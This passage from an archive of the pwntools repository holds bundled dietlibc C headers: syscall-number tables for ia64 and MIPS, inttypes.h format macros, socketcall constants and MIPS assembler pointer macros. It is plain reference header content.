(__NR_Linux + 7) #define __NR_unlink (__NR_Linux + 8) #define __NR_execve (__NR_Linux + 9) #define __NR_chdir (__NR_Linux + 10) #define __NR_fchdir (__NR_Linux + 11) #define __NR_utimes (__NR_Linux + 12) #define __NR_mknod (__NR_Linux + 13) #define __NR_chmod (__NR_Linux + 14) #define __NR_chown (__NR_Linux + 15) #define __NR_lseek (__NR_Linux + 16) #define __NR_getpid (__NR_Linux + 17) #define __NR_getppid (__NR_Linux + 18) #define __NR_mount (__NR_Linux + 19) #define __NR_umount2 (__NR_Linux + 20) #define __NR_setuid (__NR_Linux + 21) #define __NR_getuid (__NR_Linux + 22) #define __NR_geteuid (__NR_Linux + 23) #define __NR_ptrace (__NR_Linux + 24) #define __NR_access (__NR_Linux + 25) #define __NR_sync (__NR_Linux + 26) #define __NR_fsync (__NR_Linux + 27) #define __NR_fdatasync (__NR_Linux + 28) #define __NR_kill (__NR_Linux + 29) #define __NR_rename (__NR_Linux + 30) #define __NR_mkdir (__NR_Linux + 31) #define __NR_rmdir (__NR_Linux + 32) #define __NR_dup (__NR_Linux + 33) #define __NR_pipe (__NR_Linux + 34) #define __NR_times (__NR_Linux + 35) #define __NR_brk (__NR_Linux + 36) #define __NR_setgid (__NR_Linux + 37) #define __NR_getgid (__NR_Linux + 38) #define __NR_getegid (__NR_Linux + 39) #define __NR_acct (__NR_Linux + 40) #define __NR_ioctl (__NR_Linux + 41) #define __NR_fcntl (__NR_Linux + 42) #define __NR_umask (__NR_Linux + 43) #define __NR_chroot (__NR_Linux + 44) #define __NR_ustat (__NR_Linux + 45) #define __NR_dup2 (__NR_Linux + 46) #define __NR_setreuid (__NR_Linux + 47) #define __NR_setregid (__NR_Linux + 48) #define __NR_getresuid (__NR_Linux + 49) #define __NR_setresuid (__NR_Linux + 50) #define __NR_getresgid (__NR_Linux + 51) #define __NR_setresgid (__NR_Linux + 52) #define __NR_getgroups (__NR_Linux + 53) #define __NR_setgroups (__NR_Linux + 54) #define __NR_getpgid (__NR_Linux + 55) #define __NR_setpgid (__NR_Linux + 56) #define __NR_setsid (__NR_Linux + 57) #define __NR_getsid (__NR_Linux + 58) #define __NR_sethostname (__NR_Linux + 59) #define __NR_setrlimit (__NR_Linux + 60) #define __NR_getrlimit (__NR_Linux + 61) #define __NR_getrusage (__NR_Linux + 62) #define __NR_gettimeofday (__NR_Linux + 63) #define __NR_settimeofday (__NR_Linux + 64) #define __NR_select (__NR_Linux + 65) #define __NR_poll (__NR_Linux + 66) #define __NR_symlink (__NR_Linux + 67) #define __NR_readlink (__NR_Linux + 68) #define __NR_uselib (__NR_Linux + 69) #define __NR_swapon (__NR_Linux + 70) #define __NR_swapoff (__NR_Linux + 71) #define __NR_reboot (__NR_Linux + 72) #define __NR_truncate (__NR_Linux + 73) #define __NR_ftruncate (__NR_Linux + 74) #define __NR_fchmod (__NR_Linux + 75) #define __NR_fchown (__NR_Linux + 76) #define __NR_getpriority (__NR_Linux + 77) #define __NR_setpriority (__NR_Linux + 78) #define __NR_statfs (__NR_Linux + 79) #define __NR_fstatfs (__NR_Linux + 80) #define __NR_gettid (__NR_Linux + 81) #define __NR_semget (__NR_Linux + 82) #define __NR_semop (__NR_Linux + 83) #define __NR_semctl (__NR_Linux + 84) #define __NR_msgget (__NR_Linux + 85) #define __NR_msgsnd (__NR_Linux + 86) #define __NR_msgrcv (__NR_Linux + 87) #define __NR_msgctl (__NR_Linux + 88) #define __NR_shmget (__NR_Linux + 89) #define __NR_shmat (__NR_Linux + 90) #define __NR_shmdt (__NR_Linux + 91) #define __NR_shmctl (__NR_Linux + 92) #define __NR_syslog (__NR_Linux + 93) #define __NR_setitimer (__NR_Linux + 94) #define __NR_getitimer (__NR_Linux + 95) #define __NR_vhangup (__NR_Linux + 99) #define __NR_lchown (__NR_Linux + 100) #define __NR_remap_file_pages (__NR_Linux + 101) #define __NR_wait4 (__NR_Linux + 102) #define __NR_sysinfo (__NR_Linux + 103) #define __NR_clone (__NR_Linux + 104) #define __NR_setdomainname (__NR_Linux + 105) #define __NR_uname (__NR_Linux + 106) #define __NR_adjtimex (__NR_Linux + 107) #define __NR_init_module (__NR_Linux + 109) #define __NR_delete_module (__NR_Linux + 110) #define __NR_quotactl (__NR_Linux + 113) #define __NR_bdflush (__NR_Linux + 114) #define __NR_sysfs (__NR_Linux + 115) #define __NR_personality (__NR_Linux + 116) #define __NR_afs_syscall (__NR_Linux + 117) #define __NR_setfsuid (__NR_Linux + 118) #define __NR_setfsgid (__NR_Linux + 119) #define __NR_getdents (__NR_Linux + 120) #define __NR_flock (__NR_Linux + 121) #define __NR_readv (__NR_Linux + 122) #define __NR_writev (__NR_Linux + 123) #define __NR_pread64 (__NR_Linux + 124) #define __NR_pwrite64 (__NR_Linux + 125) #define __NR__sysctl (__NR_Linux + 126) #define __NR_mmap (__NR_Linux + 127) #define __NR_munmap (__NR_Linux + 128) #define __NR_mlock (__NR_Linux + 129) #define __NR_mlockall (__NR_Linux + 130) #define __NR_mprotect (__NR_Linux + 131) #define __NR_mremap (__NR_Linux + 132) #define __NR_msync (__NR_Linux + 133) #define __NR_munlock (__NR_Linux + 134) #define __NR_munlockall (__NR_Linux + 135) #define __NR_sched_getparam (__NR_Linux + 136) #define __NR_sched_setparam (__NR_Linux + 137) #define __NR_sched_getscheduler (__NR_Linux + 138) #define __NR_sched_setscheduler (__NR_Linux + 139) #define __NR_sched_yield (__NR_Linux + 140) #define __NR_sched_get_priority_max (__NR_Linux + 141) #define __NR_sched_get_priority_min (__NR_Linux + 142) #define __NR_sched_rr_get_interval (__NR_Linux + 143) #define __NR_nanosleep (__NR_Linux + 144) #define __NR_nfsservctl (__NR_Linux + 145) #define __NR_prctl (__NR_Linux + 146) #define __NR_old_getpagesize (__NR_Linux + 147) #define __NR_mmap2 (__NR_Linux + 148) #define __NR_pciconfig_read (__NR_Linux + 149) #define __NR_pciconfig_write (__NR_Linux + 150) #define __NR_perfmonctl (__NR_Linux + 151) #define __NR_sigaltstack (__NR_Linux + 152) #define __NR_rt_sigaction (__NR_Linux + 153) #define __NR_rt_sigpending (__NR_Linux + 154) #define __NR_rt_sigprocmask (__NR_Linux + 155) #define __NR_rt_sigqueueinfo (__NR_Linux + 156) #define __NR_rt_sigreturn (__NR_Linux + 157) #define __NR_rt_sigsuspend (__NR_Linux + 158) #define __NR_rt_sigtimedwait (__NR_Linux + 159) #define __NR_getcwd (__NR_Linux + 160) #define __NR_capget (__NR_Linux + 161) #define __NR_capset (__NR_Linux + 162) #define __NR_sendfile (__NR_Linux + 163) #define __NR_getpmsg (__NR_Linux + 164) #define __NR_putpmsg (__NR_Linux + 165) #define __NR_socket (__NR_Linux + 166) #define __NR_bind (__NR_Linux + 167) #define __NR_connect (__NR_Linux + 168) #define __NR_listen (__NR_Linux + 169) #define __NR_accept (__NR_Linux + 170) #define __NR_getsockname (__NR_Linux + 171) #define __NR_getpeername (__NR_Linux + 172) #define __NR_socketpair (__NR_Linux + 173) #define __NR_send (__NR_Linux + 174) #define __NR_sendto (__NR_Linux + 175) #define __NR_recv (__NR_Linux + 176) #define __NR_recvfrom (__NR_Linux + 177) #define __NR_shutdown (__NR_Linux + 178) #define __NR_setsockopt (__NR_Linux + 179) #define __NR_getsockopt (__NR_Linux + 180) #define __NR_sendmsg (__NR_Linux + 181) #define __NR_recvmsg (__NR_Linux + 182) #define __NR_pivot_root (__NR_Linux + 183) #define __NR_mincore (__NR_Linux + 184) #define __NR_madvise (__NR_Linux + 185) #define __NR_stat (__NR_Linux + 186) #define __NR_lstat (__NR_Linux + 187) #define __NR_fstat (__NR_Linux + 188) #define __NR_clone2 (__NR_Linux + 189) #define __NR_getdents64 (__NR_Linux + 190) #define __NR_getunwind (__NR_Linux + 191) #define __NR_readahead (__NR_Linux + 192) #define __NR_setxattr (__NR_Linux + 193) #define __NR_lsetxattr (__NR_Linux + 194) #define __NR_fsetxattr (__NR_Linux + 195) #define __NR_getxattr (__NR_Linux + 196) #define __NR_lgetxattr (__NR_Linux + 197) #define __NR_fgetxattr (__NR_Linux + 198) #define __NR_listxattr (__NR_Linux + 199) #define __NR_llistxattr (__NR_Linux + 200) #define __NR_flistxattr (__NR_Linux + 201) #define __NR_removexattr (__NR_Linux + 202) #define __NR_lremovexattr (__NR_Linux + 203) #define __NR_fremovexattr (__NR_Linux + 204) #define __NR_tkill (__NR_Linux + 205) #define __NR_futex (__NR_Linux + 206) #define __NR_sched_setaffinity (__NR_Linux + 207) #define __NR_sched_getaffinity (__NR_Linux + 208) #define __NR_set_tid_address (__NR_Linux + 209) #define __NR_fadvise64 (__NR_Linux + 210) #define __NR_tgkill (__NR_Linux + 211) #define __NR_exit_group (__NR_Linux + 212) #define __NR_lookup_dcookie (__NR_Linux + 213) #define __NR_io_setup (__NR_Linux + 214) #define __NR_io_destroy (__NR_Linux + 215) #define __NR_io_getevents (__NR_Linux + 216) #define __NR_io_submit (__NR_Linux + 217) #define __NR_io_cancel (__NR_Linux + 218) #define __NR_epoll_create (__NR_Linux + 219) #define __NR_epoll_ctl (__NR_Linux + 220) #define __NR_epoll_wait (__NR_Linux + 221) #define __NR_restart_syscall (__NR_Linux + 222) #define __NR_semtimedop (__NR_Linux + 223) #define __NR_timer_create (__NR_Linux + 224) #define __NR_timer_settime (__NR_Linux + 225) #define __NR_timer_gettime (__NR_Linux + 226) #define __NR_timer_getoverrun (__NR_Linux + 227) #define __NR_timer_delete (__NR_Linux + 228) #define __NR_clock_settime (__NR_Linux + 229) #define __NR_clock_gettime (__NR_Linux + 230) #define __NR_clock_getres (__NR_Linux + 231) #define __NR_clock_nanosleep (__NR_Linux + 232) #define __NR_fstatfs64 (__NR_Linux + 233) #define __NR_statfs64 (__NR_Linux + 234) #define __NR_mbind (__NR_Linux + 235) #define __NR_get_mempolicy (__NR_Linux + 236) #define __NR_set_mempolicy (__NR_Linux + 237) #define __NR_mq_open (__NR_Linux + 238) #define __NR_mq_unlink (__NR_Linux + 239) #define __NR_mq_timedsend (__NR_Linux + 240) #define __NR_mq_timedreceive (__NR_Linux + 241) #define __NR_mq_notify (__NR_Linux + 242) #define __NR_mq_getsetattr (__NR_Linux + 243) #define __NR_kexec_load (__NR_Linux + 244) #define __NR_vserver (__NR_Linux + 245) #define __NR_waitid (__NR_Linux + 246) #define __NR_add_key (__NR_Linux + 247) #define __NR_request_key (__NR_Linux + 248) #define __NR_keyctl (__NR_Linux + 249) #define __NR_ioprio_set (__NR_Linux + 250) #define __NR_ioprio_get (__NR_Linux + 251) #define __NR_move_pages (__NR_Linux + 252) #define __NR_inotify_init (__NR_Linux + 253) #define __NR_inotify_add_watch (__NR_Linux + 254) #define __NR_inotify_rm_watch (__NR_Linux + 255) #define __NR_migrate_pages (__NR_Linux + 256) #define __NR_openat (__NR_Linux + 257) #define __NR_mkdirat (__NR_Linux + 258) #define __NR_mknodat (__NR_Linux + 259) #define __NR_fchownat (__NR_Linux + 260) #define __NR_futimesat (__NR_Linux + 261) #define __NR_newfstatat (__NR_Linux + 262) #define __NR_unlinkat (__NR_Linux + 263) #define __NR_renameat (__NR_Linux + 264) #define __NR_linkat (__NR_Linux + 265) #define __NR_symlinkat (__NR_Linux + 266) #define __NR_readlinkat (__NR_Linux + 267) #define __NR_fchmodat (__NR_Linux + 268) #define __NR_faccessat (__NR_Linux + 269) #define __NR_pselect6 (__NR_Linux + 270) #define __NR_ppoll (__NR_Linux + 271) #define __NR_unshare (__NR_Linux + 272) #define __NR_splice (__NR_Linux + 273) #define __NR_set_robust_list (__NR_Linux + 274) #define __NR_get_robust_list (__NR_Linux + 275) #define __NR_sync_file_range (__NR_Linux + 276) #define __NR_tee (__NR_Linux + 277) #define __NR_vmsplice (__NR_Linux + 278) #define __NR_fallocate (__NR_Linux + 279) #define __NR_getcpu (__NR_Linux + 280) #define __NR_epoll_pwait (__NR_Linux + 281) #define __NR_utimensat (__NR_Linux + 282) #define __NR_signalfd (__NR_Linux + 283) #define __NR_timerfd (__NR_Linux + 284) #define __NR_eventfd (__NR_Linux + 285) #define __NR_timerfd_create (__NR_Linux + 286) #define __NR_timerfd_settime (__NR_Linux + 287) #define __NR_timerfd_gettime (__NR_Linux + 288) #define __NR_signalfd4 (__NR_Linux + 289) #define __NR_eventfd2 (__NR_Linux + 290) #define __NR_epoll_create1 (__NR_Linux + 291) #define __NR_dup3 (__NR_Linux + 292) #define __NR_pipe2 (__NR_Linux + 293) #define __NR_inotify_init1 (__NR_Linux + 294) #define __NR_preadv (__NR_Linux + 295) #define __NR_pwritev (__NR_Linux + 296) #define __NR_rt_tgsigqueueinfo (__NR_Linux + 297) #define __NR_recvmmsg (__NR_Linux + 298) #define __NR_fanotify_init (__NR_Linux + 299) #define __NR_fanotify_mark (__NR_Linux + 300) #define __NR_prlimit64 (__NR_Linux + 301) #define __NR_name_to_handle_at (__NR_Linux + 302) #define __NR_open_by_handle_at (__NR_Linux + 303) #define __NR_clock_adjtime (__NR_Linux + 304) #define __NR_syncfs (__NR_Linux + 305) #define __NR_setns (__NR_Linux + 306) #define __NR_sendmmsg (__NR_Linux + 307) #define __NR_process_vm_readv (__NR_Linux + 308) #define __NR_process_vm_writev (__NR_Linux + 309) #define __NR_accept4 (__NR_Linux + 310) #define __NR_finit_module (__NR_Linux + 311) #define __NR_sched_setattr (__NR_Linux + 312) #define __NR_sched_getattr (__NR_Linux + 313) #define __NR_renameat2 (__NR_Linux + 314) #define __NR_getrandom (__NR_Linux + 315) #define __NR_memfd_create (__NR_Linux + 316) #define __NR_bpf (__NR_Linux + 317) #define __NR_execveat (__NR_Linux + 318) #define __NR_userfaultfd (__NR_Linux + 319) #define __NR_membarrier (__NR_Linux + 320) #define __NR_kcmp (__NR_Linux + 321) #define __NR_mlock2 (__NR_Linux + 322) #define __NR_copy_file_range (__NR_Linux + 323) #define __NR_preadv2 (__NR_Linux + 324) #define __NR_pwritev2 (__NR_Linux + 325) #define __NR_statx (__NR_Linux + 326) #define __NR_io_pgetevents (__NR_Linux + 327) #define __NR_perf_event_open (__NR_Linux + 328) #define __NR_seccomp (__NR_Linux + 329) #define __NR_pkey_mprotect (__NR_Linux + 330) #define __NR_pkey_alloc (__NR_Linux + 331) #define __NR_pkey_free (__NR_Linux + 332) #define __NR_rseq (__NR_Linux + 333) #define __NR_pidfd_send_signal (__NR_Linux + 424) #define __NR_io_uring_setup (__NR_Linux + 425) #define __NR_io_uring_enter (__NR_Linux + 426) #define __NR_io_uring_register (__NR_Linux + 427) #define __NR_open_tree (__NR_Linux + 428) #define __NR_move_mount (__NR_Linux + 429) #define __NR_fsopen (__NR_Linux + 430) #define __NR_fsconfig (__NR_Linux + 431) #define __NR_fsmount (__NR_Linux + 432) #define __NR_fspick (__NR_Linux + 433) #define __NR_pidfd_open (__NR_Linux + 434) #define __NR_openat2 (__NR_Linux + 437) #define __NR_pidfd_getfd (__NR_Linux + 438) #define __NR_umount_with_flags __NR_umount #define syscall(name, sym) \ .text; \ .globl sym; \ sym: \ mov r15 = __NR_##name; \ br __unified_syscall; #define syscall_weak(name, sym, wsym) \ .text; \ .weak wsym; \ wsym: \ .globl sym; \ sym: \ wsym: ; \ mov r15 = __NR_##name; \ br __unified_syscall; #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/inttypes.h000066400000000000000000000156231507273764500303250ustar00rootroot00000000000000#ifndef _INTTYPES_H #define _INTTYPES_H #include #include __BEGIN_DECLS # if __WORDSIZE == 64 # define __PRI64_PREFIX "l" # define __PRIPTR_PREFIX "l" # else # define __PRI64_PREFIX "ll" # define __PRIPTR_PREFIX # endif /* Macros for printing format specifiers. */ /* Decimal notation. */ # define PRId8 "d" # define PRId16 "d" # define PRId32 "d" # define PRId64 __PRI64_PREFIX "d" # define PRIdLEAST8 "d" # define PRIdLEAST16 "d" # define PRIdLEAST32 "d" # define PRIdLEAST64 __PRI64_PREFIX "d" # define PRIdFAST8 "d" # define PRIdFAST16 "d" # define PRIdFAST32 "d" # define PRIdFAST64 __PRI64_PREFIX "d" # define PRIi8 "i" # define PRIi16 "i" # define PRIi32 "i" # define PRIi64 __PRI64_PREFIX "i" # define PRIiLEAST8 "i" # define PRIiLEAST16 "i" # define PRIiLEAST32 "i" # define PRIiLEAST64 __PRI64_PREFIX "i" # define PRIiFAST8 "i" # define PRIiFAST16 "i" # define PRIiFAST32 "i" # define PRIiFAST64 __PRI64_PREFIX "i" /* Octal notation. */ # define PRIo8 "o" # define PRIo16 "o" # define PRIo32 "o" # define PRIo64 __PRI64_PREFIX "o" # define PRIoLEAST8 "o" # define PRIoLEAST16 "o" # define PRIoLEAST32 "o" # define PRIoLEAST64 __PRI64_PREFIX "o" # define PRIoFAST8 "o" # define PRIoFAST16 "o" # define PRIoFAST32 "o" # define PRIoFAST64 __PRI64_PREFIX "o" /* Unsigned integers. */ # define PRIu8 "u" # define PRIu16 "u" # define PRIu32 "u" # define PRIu64 __PRI64_PREFIX "u" # define PRIuLEAST8 "u" # define PRIuLEAST16 "u" # define PRIuLEAST32 "u" # define PRIuLEAST64 __PRI64_PREFIX "u" # define PRIuFAST8 "u" # define PRIuFAST16 "u" # define PRIuFAST32 "u" # define PRIuFAST64 __PRI64_PREFIX "u" /* lowercase hexadecimal notation. */ # define PRIx8 "x" # define PRIx16 "x" # define PRIx32 "x" # define PRIx64 __PRI64_PREFIX "x" # define PRIxLEAST8 "x" # define PRIxLEAST16 "x" # define PRIxLEAST32 "x" # define PRIxLEAST64 __PRI64_PREFIX "x" # define PRIxFAST8 "x" # define PRIxFAST16 "x" # define PRIxFAST32 "x" # define PRIxFAST64 __PRI64_PREFIX "x" /* UPPERCASE hexadecimal notation. */ # define PRIX8 "X" # define PRIX16 "X" # define PRIX32 "X" # define PRIX64 __PRI64_PREFIX "X" # define PRIXLEAST8 "X" # define PRIXLEAST16 "X" # define PRIXLEAST32 "X" # define PRIXLEAST64 __PRI64_PREFIX "X" # define PRIXFAST8 "X" # define PRIXFAST16 "X" # define PRIXFAST32 "X" # define PRIXFAST64 __PRI64_PREFIX "X" /* Macros for printing `intmax_t' and `uintmax_t'. */ # define PRIdMAX __PRI64_PREFIX "d" # define PRIiMAX __PRI64_PREFIX "i" # define PRIoMAX __PRI64_PREFIX "o" # define PRIuMAX __PRI64_PREFIX "u" # define PRIxMAX __PRI64_PREFIX "x" # define PRIXMAX __PRI64_PREFIX "X" /* Macros for printing `intptr_t' and `uintptr_t'. */ # define PRIdPTR __PRIPTR_PREFIX "d" # define PRIiPTR __PRIPTR_PREFIX "i" # define PRIoPTR __PRIPTR_PREFIX "o" # define PRIuPTR __PRIPTR_PREFIX "u" # define PRIxPTR __PRIPTR_PREFIX "x" # define PRIXPTR __PRIPTR_PREFIX "X" /* Macros for scanning format specifiers. */ /* Signed decimal notation. */ # define SCNd8 "hhd" # define SCNd16 "hd" # define SCNd32 "d" # define SCNd64 __PRI64_PREFIX "d" # define SCNdLEAST8 "hhd" # define SCNdLEAST16 "hd" # define SCNdLEAST32 "d" # define SCNdLEAST64 __PRI64_PREFIX "d" # define SCNdFAST8 "hhd" # define SCNdFAST16 __PRIPTR_PREFIX "d" # define SCNdFAST32 __PRIPTR_PREFIX "d" # define SCNdFAST64 __PRI64_PREFIX "d" /* Signed decimal notation. */ # define SCNi8 "hhi" # define SCNi16 "hi" # define SCNi32 "i" # define SCNi64 __PRI64_PREFIX "i" # define SCNiLEAST8 "hhi" # define SCNiLEAST16 "hi" # define SCNiLEAST32 "i" # define SCNiLEAST64 __PRI64_PREFIX "i" # define SCNiFAST8 "hhi" # define SCNiFAST16 __PRIPTR_PREFIX "i" # define SCNiFAST32 __PRIPTR_PREFIX "i" # define SCNiFAST64 __PRI64_PREFIX "i" /* Unsigned decimal notation. */ # define SCNu8 "hhu" # define SCNu16 "hu" # define SCNu32 "u" # define SCNu64 __PRI64_PREFIX "u" # define SCNuLEAST8 "hhu" # define SCNuLEAST16 "hu" # define SCNuLEAST32 "u" # define SCNuLEAST64 __PRI64_PREFIX "u" # define SCNuFAST8 "hhu" # define SCNuFAST16 __PRIPTR_PREFIX "u" # define SCNuFAST32 __PRIPTR_PREFIX "u" # define SCNuFAST64 __PRI64_PREFIX "u" /* Octal notation. */ # define SCNo8 "hho" # define SCNo16 "ho" # define SCNo32 "o" # define SCNo64 __PRI64_PREFIX "o" # define SCNoLEAST8 "hho" # define SCNoLEAST16 "ho" # define SCNoLEAST32 "o" # define SCNoLEAST64 __PRI64_PREFIX "o" # define SCNoFAST8 "hho" # define SCNoFAST16 __PRIPTR_PREFIX "o" # define SCNoFAST32 __PRIPTR_PREFIX "o" # define SCNoFAST64 __PRI64_PREFIX "o" /* Hexadecimal notation. */ # define SCNx8 "hhx" # define SCNx16 "hx" # define SCNx32 "x" # define SCNx64 __PRI64_PREFIX "x" # define SCNxLEAST8 "hhx" # define SCNxLEAST16 "hx" # define SCNxLEAST32 "x" # define SCNxLEAST64 __PRI64_PREFIX "x" # define SCNxFAST8 "hhx" # define SCNxFAST16 __PRIPTR_PREFIX "x" # define SCNxFAST32 __PRIPTR_PREFIX "x" # define SCNxFAST64 __PRI64_PREFIX "x" /* Macros for scanning `intmax_t' and `uintmax_t'. */ # define SCNdMAX __PRI64_PREFIX "d" # define SCNiMAX __PRI64_PREFIX "i" # define SCNoMAX __PRI64_PREFIX "o" # define SCNuMAX __PRI64_PREFIX "u" # define SCNxMAX __PRI64_PREFIX "x" /* Macros for scanning `intptr_t' and `uintptr_t'. */ # define SCNdPTR __PRIPTR_PREFIX "d" # define SCNiPTR __PRIPTR_PREFIX "i" # define SCNoPTR __PRIPTR_PREFIX "o" # define SCNuPTR __PRIPTR_PREFIX "u" # define SCNxPTR __PRIPTR_PREFIX "x" typedef signed char int8_t; #if defined(__SHRT_MAX__) && (__SHRT_MAX__ + 0 != 32767) typedef int int16_t __attribute__((__mode__(__HI__))); #else typedef signed short int16_t; #endif #if defined(__INT_MAX__) && (__INT_MAX__ + 0 != 2147483647) typedef int int32_t __attribute__((__mode__(__SI__))); #else typedef signed int int32_t; #endif typedef unsigned char uint8_t; #if defined(__SHRT_MAX__) && (__SHRT_MAX__ + 0 != 32767) typedef unsigned int uint16_t __attribute__((__mode__(__HI__))); #else typedef unsigned short uint16_t; #endif #if defined(__INT_MAX__) && (__INT_MAX__ + 0 != 2147483647) typedef unsigned int uint32_t __attribute__((__mode__(__SI__))); #else typedef unsigned int uint32_t; #endif #if __WORDSIZE == 64 typedef signed long int64_t; typedef unsigned long uint64_t; typedef signed long intmax_t; typedef unsigned long uintmax_t; #else __extension__ typedef signed long long int64_t; __extension__ typedef unsigned long long uint64_t; __extension__ typedef signed long long int intmax_t; __extension__ typedef unsigned long long int uintmax_t; #endif #ifdef __INTPTR_TYPE__ typedef __INTPTR_TYPE__ intptr_t; typedef __UINTPTR_TYPE__ uintptr_t; #else typedef __SIZE_TYPE__ uintptr_t; typedef __PTRDIFF_TYPE__ intptr_t; #endif intmax_t strtoimax (const char *nptr, char **endptr, int base); uintmax_t strtoumax (const char *nptr, char **endptr, int base); intmax_t imaxabs(intmax_t j) __attribute_const__; typedef struct { intmax_t quot,rem; } imaxdiv_t; imaxdiv_t imaxdiv(intmax_t numerator, intmax_t denominator) __attribute_const__; #include __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/linuxnet.h000066400000000000000000000014261507273764500303100ustar00rootroot00000000000000 #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mips/000077500000000000000000000000001507273764500272365ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mips/mips-asm.h000066400000000000000000000007271507273764500311430ustar00rootroot00000000000000#ifndef DIET_MIPS_ASM_H #define DIET_MIPS_ASM_H #ifdef __ASSEMBLER__ #if _MIPS_SIM == _ABI64 #define PTR_LA dla #define PTR_SW sd #define PTR_LL lld #define PTR_SC scd #define PTR_LW ld #define PTR_SLL dsll #define PTR_ADD dadd #else #define PTR_LA la #define PTR_SW sw #define PTR_LL ll #define PTR_SC sc #define PTR_LW lw #define PTR_SLL sll #define PTR_ADD add #endif #endif /* __ASSEMBLER__ */ #endif /* DIET_MIPS_ASM_H */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mips/syscalls.h000066400000000000000000001014641507273764500312520ustar00rootroot00000000000000#if _MIPS_SIM == _ABIO32 /* * Linux o32 style syscalls are in the range from 4000 to 4999. */ #define __NR_Linux 4000 #define __NR_syscall (__NR_Linux + 0) #define __NR_exit (__NR_Linux + 1) #define __NR_fork (__NR_Linux + 2) #define __NR_read (__NR_Linux + 3) #define __NR_write (__NR_Linux + 4) #define __NR_open (__NR_Linux + 5) #define __NR_close (__NR_Linux + 6) #define __NR_waitpid (__NR_Linux + 7) #define __NR_creat (__NR_Linux + 8) #define __NR_link (__NR_Linux + 9) #define __NR_unlink (__NR_Linux + 10) #define __NR_execve (__NR_Linux + 11) #define __NR_chdir (__NR_Linux + 12) #define __NR_time (__NR_Linux + 13) #define __NR_mknod (__NR_Linux + 14) #define __NR_chmod (__NR_Linux + 15) #define __NR_lchown (__NR_Linux + 16) #define __NR_break (__NR_Linux + 17) #define __NR_unused18 (__NR_Linux + 18) #define __NR_lseek (__NR_Linux + 19) #define __NR_getpid (__NR_Linux + 20) #define __NR_mount (__NR_Linux + 21) #define __NR_umount (__NR_Linux + 22) #define __NR_setuid (__NR_Linux + 23) #define __NR_getuid (__NR_Linux + 24) #define __NR_stime (__NR_Linux + 25) #define __NR_ptrace (__NR_Linux + 26) #define __NR_alarm (__NR_Linux + 27) #define __NR_unused28 (__NR_Linux + 28) #define __NR_pause (__NR_Linux + 29) #define __NR_utime (__NR_Linux + 30) #define __NR_stty (__NR_Linux + 31) #define __NR_gtty (__NR_Linux + 32) #define __NR_access (__NR_Linux + 33) #define __NR_nice (__NR_Linux + 34) #define __NR_ftime (__NR_Linux + 35) #define __NR_sync (__NR_Linux + 36) #define __NR_kill (__NR_Linux + 37) #define __NR_rename (__NR_Linux + 38) #define __NR_mkdir (__NR_Linux + 39) #define __NR_rmdir (__NR_Linux + 40) #define __NR_dup (__NR_Linux + 41) #define __NR_pipe (__NR_Linux + 42) #define __NR_times (__NR_Linux + 43) #define __NR_prof (__NR_Linux + 44) #define __NR_brk (__NR_Linux + 45) #define __NR_setgid (__NR_Linux + 46) #define __NR_getgid (__NR_Linux + 47) #define __NR_signal (__NR_Linux + 48) #define __NR_geteuid (__NR_Linux + 49) #define __NR_getegid (__NR_Linux + 50) #define __NR_acct (__NR_Linux + 51) #define __NR_umount2 (__NR_Linux + 52) #define __NR_lock (__NR_Linux + 53) #define __NR_ioctl (__NR_Linux + 54) #define __NR_fcntl (__NR_Linux + 55) #define __NR_mpx (__NR_Linux + 56) #define __NR_setpgid (__NR_Linux + 57) #define __NR_ulimit (__NR_Linux + 58) #define __NR_unused59 (__NR_Linux + 59) #define __NR_umask (__NR_Linux + 60) #define __NR_chroot (__NR_Linux + 61) #define __NR_ustat (__NR_Linux + 62) #define __NR_dup2 (__NR_Linux + 63) #define __NR_getppid (__NR_Linux + 64) #define __NR_getpgrp (__NR_Linux + 65) #define __NR_setsid (__NR_Linux + 66) #define __NR_sigaction (__NR_Linux + 67) #define __NR_sgetmask (__NR_Linux + 68) #define __NR_ssetmask (__NR_Linux + 69) #define __NR_setreuid (__NR_Linux + 70) #define __NR_setregid (__NR_Linux + 71) #define __NR_sigsuspend (__NR_Linux + 72) #define __NR_sigpending (__NR_Linux + 73) #define __NR_sethostname (__NR_Linux + 74) #define __NR_setrlimit (__NR_Linux + 75) #define __NR_getrlimit (__NR_Linux + 76) #define __NR_getrusage (__NR_Linux + 77) #define __NR_gettimeofday (__NR_Linux + 78) #define __NR_settimeofday (__NR_Linux + 79) #define __NR_getgroups (__NR_Linux + 80) #define __NR_setgroups (__NR_Linux + 81) #define __NR_reserved82 (__NR_Linux + 82) #define __NR_symlink (__NR_Linux + 83) #define __NR_unused84 (__NR_Linux + 84) #define __NR_readlink (__NR_Linux + 85) #define __NR_uselib (__NR_Linux + 86) #define __NR_swapon (__NR_Linux + 87) #define __NR_reboot (__NR_Linux + 88) #define __NR_readdir (__NR_Linux + 89) #define __NR_mmap (__NR_Linux + 90) #define __NR_munmap (__NR_Linux + 91) #define __NR_truncate (__NR_Linux + 92) #define __NR_ftruncate (__NR_Linux + 93) #define __NR_fchmod (__NR_Linux + 94) #define __NR_fchown (__NR_Linux + 95) #define __NR_getpriority (__NR_Linux + 96) #define __NR_setpriority (__NR_Linux + 97) #define __NR_profil (__NR_Linux + 98) #define __NR_statfs (__NR_Linux + 99) #define __NR_fstatfs (__NR_Linux + 100) #define 